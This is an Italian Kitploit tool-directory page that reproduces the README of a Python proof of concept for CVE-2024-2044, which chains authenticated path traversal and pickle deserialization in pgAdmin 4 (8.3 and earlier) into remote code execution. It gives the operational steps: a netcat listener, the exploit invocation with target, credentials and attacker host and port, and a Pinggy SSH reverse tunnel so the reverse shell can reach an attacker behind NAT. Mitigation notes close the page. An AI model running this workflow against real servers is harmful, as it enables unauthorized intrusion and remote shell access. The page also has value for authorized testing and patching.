Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-2044 — PoC in Python che sfrutta CVE-2024-2044 in pgAdmin 4 (<=8.3) tramite path traversal autenticato e deserializzazione pickle non sicura per ottenere l'esecuzione di codice in remoto e una reverse shell. | Kitploit
Strumenti/GitHubGitHub/hanzzly/cve-2024-2044
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPost-ExploitSicurezza WebPenetration TestingStrumento di Accesso RemotoSviluppo Payload
GitHubhanzzly/cve-2024-2044

CVE-2024-2044

PoC in Python che sfrutta CVE-2024-2044 in pgAdmin 4 (<=8.3) tramite path traversal autenticato e deserializzazione pickle non sicura per ottenere l'esecuzione di codice in remoto e una reverse shell.

19h 5m faNon ancora revisionato
Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

PoC CVE-2024-2044: pgAdmin 4 Authenticated RCE (Linux/POSIX)

Questo repository contiene uno script Proof of Concept (PoC) per CVE-2024-2044, una vulnerabilità critica che combina Authenticated Path Traversal e Unsafe Deserialization su pgAdmin 4 (versione 8.3 e precedenti) in esecuzione in ambienti Linux/POSIX.

[!WARNING] DISCLAIMER: Questo codice è stato creato esclusivamente per scopi educativi, di ricerca sulla sicurezza e di penetration testing autorizzato (authorized pentesting). L'uso improprio di questo codice per attaccare target senza autorizzazione scritta è un'azione illegale e viola la legge.


Descrizione della Vulnerabilità

In pgAdmin 4 in modalità server su ambienti Linux, la gestione delle sessioni viene memorizzata sotto forma di file locali. La vulnerabilità si verifica perché la funzione FileBackedSessionManager.get() accetta il valore del cookie HTTP pga4_session e lo concatena al percorso della directory utilizzando os.path.join senza sanificare i caratteri di manipolazione del percorso (../).

Questo script PoC sfrutta tale falla con il seguente flusso:

  1. Autenticazione: Esegue il login automatico utilizzando credenziali valide per ottenere una sessione attiva e bypassare il token CSRF.
  2. Upload del Payload: Sfrutta l'utility Storage Manager integrata per caricare un oggetto Python pickle malevolo contenente un comando Reverse Shell. Questo file viene memorizzato nella directory di archiviazione dell'utente (es: /storage/nome_utente/).
  3. Trigger Path Traversal: Invia una richiesta HTTP a /login manipolando il cookie pga4_session in un percorso relativo verso il file pickle caricato (es: ../storage/nome_utente/file.pickle!). Il simbolo ! viene utilizzato per adattarsi alla ricerca dell'estensione del file di sessione in pgAdmin 4.
  4. Esecuzione del Codice (RCE): Il server pgAdmin 4 viene ingannato per leggere il file e processarlo con pickle.loads(). Di conseguenza, il payload esegue un processo Python separato (detached) che lancia una Reverse Shell verso l'attaccante.

Requisiti (Prerequisites)

  • Target: pgAdmin 4 <= 8.3 (Server Mode) in esecuzione su Linux/POSIX.
  • Accesso: Richiede un account di login valido (Username & Password).
  • Dipendenze dello Script: Python 3 e la libreria requests.

Guida all'Uso

Opzione A: Utilizzo di un IP Pubblico Diretto (Locale/VPN)

  1. Apri una porta netcat sulla tua macchina per ricevere la connessione reverse shell:
    root@kitploit:~
    nc -lvnp 4444
    
  2. Esegui lo script di exploit:
    root@kitploit:~
    python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
    

Opzione B: Utilizzo del Port Forwarding (Pinggy.io)

Se la tua macchina si trova dietro un NAT/Router e necessita di tunnelling pubblico, puoi utilizzare il servizio Pinggy.io con i seguenti passaggi:

1. Avvia il Netcat Listener Locale

Avvia nc sulla macchina locale utilizzando la porta di tua scelta (es: porta 1337):

root@kitploit:~
nc -lvnp 1337

2. Avvia il Tunnel Pinggy

Apri un nuovo terminale, quindi esegui il comando SSH di Pinggy. Assicurati che la porta locale alla fine (1337) corrisponda alla porta nc che hai avviato in precedenza:

root@kitploit:~
ssh -p 443 -R0:localhost:1337 [email protected]

Una volta connesso, Pinggy fornirà un URL TCP pubblico, ad esempio: tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143 image

Nota: La porta pubblica ottenuta da Pinggy è 43143 (questa sarà il valore di -lport).

3. Trova l'IP Reale di Pinggy (Ottenere LHOST)

Il server pgAdmin 4 target richiede il formato di indirizzo IP reale per la connessione socket della reverse shell. Esegui nslookup sul dominio del tuo URL Pinggy:

root@kitploit:~
nslookup ubylm-103-79-246-198.run.pinggy-free.link

L'output mostrerà l'IP pubblico del server Pinggy (scegli l'IPv4 nella sezione Address in alto):

root@kitploit:~
Non-authoritative answer:
ubylm-103-79-246-198.run.pinggy-free.link       canonical name = lin.ap.12.a.pinggy.click.
Name:   lin.ap.12.a.pinggy.click
Address: 172.236.148.125

Dall'output sopra, si ottiene l'IP reale di Pinggy: 172.236.148.125.

image

4. Esegui lo Script di Exploit

Esegui lo script PoC inserendo l'IP risultante dal nslookup come -lhost e la porta pubblica di Pinggy come -lport:

root@kitploit:~
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost 172.236.148.125 -lport 43143
image
image

Parametri delle Opzioni dello Script

  • -t, --target : URL target di pgAdmin 4 (Obbligatorio).
  • -u, --username: Email/Username di login (Default: [email protected]).
  • -p, --password: Password di login (Default: player123).
  • -lhost : IP Address dell'attaccante / IP risultante dal nslookup di Pinggy (Obbligatorio).
  • -lport : Porta listener dell'attaccante / Porta pubblica di Pinggy (Obbligatorio).

Mitigazione

Questa vulnerabilità è stata corretta in pgAdmin 4 versione 8.4. Se gestisci un server vulnerabile, adotta immediatamente le seguenti azioni:

  1. Aggiorna pgAdmin 4 alla versione 8.4 o successiva.
  2. Limita l'accesso di rete al pannello di pgAdmin 4 utilizzando una VPN o una Firewall Whitelist.
  3. Assicurati che il processo di pgAdmin 4 venga eseguito con privilegi di utente normale (non-root).
Scarica lo strumento